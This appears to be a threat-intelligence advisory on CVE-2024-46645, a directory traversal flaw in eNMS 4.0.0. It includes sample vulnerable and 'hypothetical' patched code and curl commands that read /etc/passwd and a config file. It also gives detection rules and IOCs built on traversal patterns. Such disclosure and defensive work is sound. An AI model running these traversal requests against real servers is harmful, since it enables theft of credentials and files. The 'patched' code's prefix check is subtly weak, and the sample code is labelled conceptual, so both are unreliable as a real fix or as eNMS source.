CVE-2024-46645

Executive Summary

CVE-2024-46645 is a directory traversal vulnerability in eNMS 4.0.0, a network management system. The flaw exists in the get_tree_files endpoint, allowing an unauthenticated attacker to read arbitrary files from the server filesystem. This can lead to disclosure of sensitive configuration files, credentials, and source code. No patch is currently available, and the vulnerability is publicly known.

Supply Chain & Package Security

eNMS is a Python-based application. The vulnerability is in the application code itself, not in a dependency. However, the lack of a patch means any deployment of eNMS 4.0.0 is at risk. Users should monitor for updates from the vendor and consider isolating the application.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but this is likely a placeholder. Based on the vulnerability type, a realistic assessment would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Estimated CVSS v3.1 Score: 7.5 (High)

Threat Level: High – Unauthenticated file read can lead to credential theft and lateral movement.

Deep Dive & Mechanics

The get_tree_files endpoint in eNMS 4.0.0 does not properly sanitize user-supplied input for file paths. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended directory and read arbitrary files on the server.

Vulnerable Code Pattern (Conceptual):

@app.route('/get_tree_files')
def get_tree_files():
    path = request.args.get('path')
    # No validation of path
    with open(path, 'r') as f:
        return f.read()

Exploitation: An attacker sends a GET request to /get_tree_files?path=../../etc/passwd to read the system password file.

Vulnerable vs. Patched Code

Vulnerable Code (eNMS 4.0.0):

@app.route('/get_tree_files')
def get_tree_files():
    path = request.args.get('path')
    # No validation
    return open(path).read()

Patched Code (Hypothetical):

import os

@app.route('/get_tree_files')
def get_tree_files():
    path = request.args.get('path')
    base_dir = '/var/lib/enms/files'
    # Resolve and validate path
    full_path = os.path.realpath(os.path.join(base_dir, path))
    if not full_path.startswith(base_dir):
        return "Access denied", 403
    return open(full_path).read()

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install eNMS 4.0.0 on a test VM (Ubuntu 22.04).
2. Ensure the web interface is accessible on port 5000.

Exploit Command:

curl "http://target:5000/get_tree_files?path=../../etc/passwd"

Advanced Exploit (Read config files):

curl "http://target:5000/get_tree_files?path=../../etc/enms/config.py"

Blue Team

Detection:

• Monitor for requests to /get_tree_files with path traversal patterns (../, %2e%2e%2f).
• Alert on unusual file reads (e.g., /etc/passwd, /etc/shadow).

Honeypot:

• Deploy a fake eNMS instance and log all requests to /get_tree_files.

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests to /get_tree_files with path parameter containing ../ or %2e%2e%2f.
  • Outbound connections from the eNMS server to unknown IPs (if attacker exfiltrates data).

• File System:

  • Unexpected access to /etc/passwd, /etc/shadow, or application config files.
  • Modified timestamps on sensitive files.

• Logs:

  • Web server logs showing GET /get_tree_files?path=../../etc/passwd with 200 status.

Detection Engineering

YARA Rule

rule CVE_2024_46645_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against eNMS get_tree_files endpoint"
        author = "Valters IT"
        date = "2024-09-01"
        reference = "CVE-2024-46645"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $endpoint = "/get_tree_files"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: eNMS Directory Traversal via get_tree_files
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts against eNMS get_tree_files endpoint
author: Valters IT
date: 2024/09/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46645
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/get_tree_files?path="
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e\\"
    condition: selection
falsepositives:
    - Legitimate file access within allowed directory
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46645 eNMS Directory Traversal"; flow:to_server,established; content:"/get_tree_files"; http_uri; content:"../"; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the eNMS server from untrusted networks.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply input validation and sanitization to the path parameter.
• Use os.path.realpath() to resolve paths and ensure they stay within a base directory.
• Upgrade to a patched version when available.

Workaround:

• Disable the get_tree_files endpoint if not needed.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert